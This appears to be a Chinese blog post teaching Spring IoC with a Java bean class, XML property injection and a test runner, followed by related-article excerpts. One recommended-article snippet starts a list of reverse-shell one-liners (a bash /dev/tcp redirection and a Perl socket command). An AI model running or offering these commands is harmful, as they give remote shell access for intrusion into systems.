Sping之Ioc
Ioc,控制反转,依赖注入!
作用:降低代码之间的耦合性
代码永远是最好的示例:
1.新建test类
package demo;
public class test {
String string_var;
int int_var;
char char_var;
double double_var;
public String getString_var() {
return string_var;
}
public void setString_var(String string_var) {
this.string_var = string_var;
}
public int getInt_var() {
return int_var;
}
public void setInt_var(int int_var) {
this.int_var = int_var;
}
public char getChar_var() {
return char_var;
}
public void setChar_var(char char_var) {
this.char_var = char_var;
}
public double getDouble_var() {
return double_var;
}
public void setDouble_var(double double_var) {
this.double_var = double_var;
}
public void inin(){
System.out.println("在init()方法中String的值是:"+string_var);
System.out.println("在init()方法中int的值是:"+int_var);
System.out.println("在init()方法中char的值是:"+char_var);
System.out.println("在init()方法中double的值是:"+double_var);
}
public void printAll(){
System.out.println("在printAll()方法中String的值是:"+string_var);
System.out.println("在printAll()方法中int的值是:"+int_var);
System.out.println("在printAll()方法中char的值是:"+char_var);
System.out.println("在printAll()方法中double的值是:"+double_var);
}
}
2.新建applicationContext.xml配置文件<?xml version="1.0" encoding="UTF-8"?><beans
xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.1.xsd"> <!-- init-method属性:在取得Bean实例并对属性进行注入以后自动执行的, 可解决注入后对属性值进行继续更改的操作;唯一id名,class为类的路径 --> <bean id="test_ref" class="demo.test" init-method="inin">
<!-- 对类里的字段进行注入值 --> <property name="string_var" value="高渐离"></property> <property name="int_var" value="66"></property> <property name="char_var" value="女"></property> <property name="double_var" value="66.66"></property> </bean>
<bean id="runit_ref" class="demo.runit">
<!-- ref引用test_ref --> <property name="test_ref" ref="test_ref"></property> </bean> </beans>
3.新建runit类,方便测试,直接写了main方法
package demo;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class runit {
test test_ref;
public test getTest_ref() {
return test_ref;
}
public void setTest_ref(test test_ref) {
this.test_ref = test_ref;
}
public static void main (String[] args){
ApplicationContext contex = new ClassPathXmlApplicationContext("applicationContext.xml");
runit runit_ref = (runit) contex.getBean("runit_ref");
runit_ref.getTest_ref().printAll();
}
}
以上示例只展示了基本数据类型的注入,还有构造方法、Properties文件等注入方法!自己查去吧!
Sping之Ioc的更多相关文章
- 【Java】模拟Sping,实现其IOC和AOP核心(一)
在这里我要实现的是Spring的IOC和AOP的核心,而且有关IOC的实现,注解+XML能混合使用! 参考资料: IOC:控制反转(Inversion of Control,缩写为IoC),是面向对象 ...
- Spring——IoC
控制反转(Inversion ofControl,英文缩写为IoC)是一种能够解耦的方法,不是什么技术.是一种思想,也是轻量级的Spring框架的核心.控制反转一般分为两种类型.依赖注入(Depend ...
- Spring中基于注解的IOC(二):案例与总结
2.Spring的IOC案例 创建maven项目 导入依赖 pom.xml xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ...
- ASP.NET跨平台最佳实践
前言 八年的坚持敌不过领导的固执,最终还是不得不阔别已经成为我第二语言的C#,转战Java阵营.有过短暂的失落和迷茫,但技术转型真的没有想象中那么难.回头审视,其实单从语言本身来看,C#确实比Java ...
- 初识SSH框架
想了解SSH的工作原理吗?还不快快来看我的新文章----ssh框架的工作原理 也许你还不知道SSH存在的意义,但只是因为在没点开这篇文章之前的事了. SSH由Strut2,Spring,Hiberna ...
- Spring容器的工具类
代码实现: package com.ht.util; import java.util.Map; import org.springframework.beans.BeansException; im ...
- ASP.NET跨平台
ASP.NET跨平台最佳实践 前言 八年的坚持敌不过领导的固执,最终还是不得不阔别已经成为我第二语言的C#,转战Java阵营.有过短暂的失落和迷茫,但技术转型真的没有想象中那么难.回头审视,其实单从语 ...
- java框架常见的面试题
1.谈谈你对MVC的理解 MVC是Model—View—Controler的简称.即模型—视图—控制器.MVC是一种设计模式,它强制性的把应用程序的输入.处理和输出分开. MVC中的模型.视图.控制器 ...
- Webservice实践(七)CXF 与Spring结合+tomcat发布
上一节介绍了如何使用CXF 来发布服务,但是没有介绍使用web 容器来发布,很多项目需要用tomcat 这样的容器来发布.另外本节将介绍CXF 与spring 结合的方法. 一 目标: 1.利用spi ...
随机推荐
- 各种语言一句话反弹shell
Bash [不通用,跟linux发行版本有关,在ubuntu上测试成功] bash -i >& /dev/tcp/ >& Perl perl -e 'use Socket; ...
- Elasticsearch索引和文档操作
列出所有索引 现在来看看我们的索引 GET /_cat/indices?v 响应 health status index uuid pri rep docs.count docs.deleted st ...
- Spring学习(20)--- Schema-based AOP(基于配置的AOP实现) -- 配置切入点pointcut
pointcut(切断点)表达式: execution(public * *(..)) execution(* set*(..)) execution(* com.xyz.service.Accoun ...
- 平衡树初阶——AVL平衡二叉查找树+三大平衡树(Treap + Splay + SBT)模板【超详解】
平衡树初阶——AVL平衡二叉查找树 一.什么是二叉树 1. 什么是树. 计算机科学里面的树本质是一个树状图.树首先是一个有向无环图,由根节点指向子结点.但是不严格的说,我们也研究无向树.所谓无向树就是 ...
- [0] WCF开发下,提示HTTP 无法注册 URL 进程不具有此命名空间的访问权限
Visual Studio以管理员的身份运行就可以了.
- ajax、PHP、session做购物车
购物车网页代码 1.登录界面login.php <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" ...
- Javascript 严格模式use strict
一.概述 除了正常运行模式,ECMAscript 5添加了第二种运行模式:“严格模式”(strict mode).顾名思义,这种模式使得Javascript在更严格的条件下运行. 设立”严格模式”的目 ...
- URLWRITE视图重写技术
UrlRewrite就是地址重写,用户得到的全部都是经过处理后的URL地址,类似于Apache的mod_rewrite.将我们的动态网页地址转化为静态的地址,如html.shtml,还可以隐藏网页的真 ...
- 谈谈java中遍历Map的几种方法
java中的map遍历有多种方法,从最早的Iterator,到java5支持的foreach,再到java8 Lambda,让我们一起来看下具体的用法以及各自的优缺点 先初始化一个map public ...
- java执行程序的内存分析系列专栏
近段时间研究了java的程序执行过程中的内存分配,收获颇多,解决了我最近时间学习java的很多困惑点.写java内存分析系列的目的主要有两个,一来是希望给像我一样的java初学者一定的启发,希望也能解 ...